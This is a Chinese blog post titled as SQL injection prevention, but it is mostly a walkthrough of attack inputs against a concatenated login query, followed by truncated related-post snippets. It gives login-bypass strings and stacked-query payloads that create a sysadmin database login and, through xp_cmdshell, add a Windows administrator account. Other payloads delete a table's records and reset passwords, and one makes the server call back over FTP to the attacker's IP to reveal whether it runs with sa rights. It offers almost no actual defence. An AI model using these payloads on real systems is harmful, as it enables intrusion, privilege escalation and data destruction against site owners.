sql 注入防範

2021-04-21 11:02:47 字數 2006 閱讀 8610

關於身份驗證

sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"

假設只知道使用者名稱不知道密碼:

(1)我們在使用者名稱位置輸入【admin' or 1='1】。注:內容只有【】內的。

看看sql會變成什麼:

sql=select * from user where name='admin' or 1='1' and pwd='11'

我們知道,or是乙個邏輯運算子,在判斷多個條件的時候,只要前乙個等式成立,即name='admin'正確,整個等式就返回真,後面的and就不再進行判斷了,也就是說我們繞過了密碼驗證,只要我們知道使用者名稱就可以登陸該系統。

(2)我們也可以在使用者名稱位置輸入【admin' --】。再看看sql:

以下內容為程式**:

sql=select * from user where name='admin' --' and pasword='11'

同樣,通過連線符--注釋掉了後面的密碼驗證,對access資料庫無效,對sqlserver資料庫有效。

(3)如果可以通過連線符注釋掉後面的驗證,那麼就更有意思了,來看我們能作什麼:

a、在使用者名稱位置輸入【admin';exec master.dbo.sp_addlogin cool;--】,新增乙個sql使用者

b、在使用者名稱位置輸入【admin';exec master.dbo.sp_password null,123456,cool;--】,給cool設定密碼為123456

c、在使用者名稱位置輸入【admin';exec master.dbo.sp_addsrvrolemember cool,sysadmin;--】,給cool賦予system administrator許可權

d、在使用者名稱位置輸入【admin';exec master.dbo.xp_cmdshell 'net user cool 123456 /workstations:*

/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 】,給系統新增乙個密碼為123456的帳戶cool,並設定相關屬性,關於net user命令可以參考這裡。

e、在使用者名稱位置輸入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators cool /add';--】,把cool使用者新增到管理員組。

現在覺得恐怖了沒有,當然我還沒說完,實現這些必須是該站點使用sa或者system administrator許可權的使用者來連線資料庫,普通的的虛擬空間是不用想了,除非管理員是sb。但是對於那些站點放在自己伺服器上的**,很難說哦,真的很難說,呵呵,我見過n個。

那如果不是sa,是不是就什麼也不能做了,當然不是!只是不能獲得太高許可權來控制sql庫和系統了,但是對這個庫,我們還是擁有完整的管理許可權。來看看我們能作什麼:

a、輸入【admin';delete user;--】,一旦他的表名就是user,就會刪除user表裡所有記錄。夠狠吧!你可千萬別這麼做哦!

b、輸入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以給user表新增乙個使用者,當然前提是表名和欄位名都要正確。

c、輸入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密碼,當然前提也是表名和欄位名都要正確。

看來如果不是sa還是比較鬱悶的,當然,我們也有一些簡單的方法來判斷**是否使用sa來連線資料庫。

a、在cmd中執行nc -l -p 21,監聽本機的21埠;當然也可以採用火牆什麼的。

b、輸入【admin';exec master.dbo.xp_cmdshell 'ftp *.*.*.*'】,其中*代表你的ip位址,如果發現有連線,就可以斷定是使用sa了,而且可以獲得**資料庫的ip位址,因為有些**web和sql 是放在不同伺服器上的;如果沒有連線,則**使用的是非sa帳戶。

防範sql注入

真沒語言了,公司的 都有這個漏洞,明天趕緊把改了 sql注入式攻擊是利用是指利用設計上的漏洞,在目標伺服器上執行sql命令以及進行其他方式的攻擊 動態生成sql命令時沒有對使用者輸入的資料進行驗證是sql注入攻擊得逞的主要原因。比如 如果你的查詢語句是select from admin where ...

如何防範SQL注入 SQL注入測試

從測試來進行測試sql注入。首先,看看sql注入攻擊能分為以下三種型別 inband 資料經由sql 注入的通道取出,這是最直接的一種攻擊,通過sql注入獲取的資訊直接反映到應用程式的web頁面上 out of band 資料通過不同於sql 注入的方法獲得 譬如通過郵件等 推理 這種攻擊時說並沒有...

如何防範SQL注入 SQL注入測試

從測試來進行測試sql注入。首先,看看sql注入攻擊能分為以下三種型別 inband 資料經由sql 注入的通道取出,這是最直接的一種攻擊,通過sql注入獲取的資訊直接反映到應用程式的web頁面上 out of band 資料通過不同於sql 注入的方法獲得 譬如通過郵件等 推理 這種攻擊時說並沒有...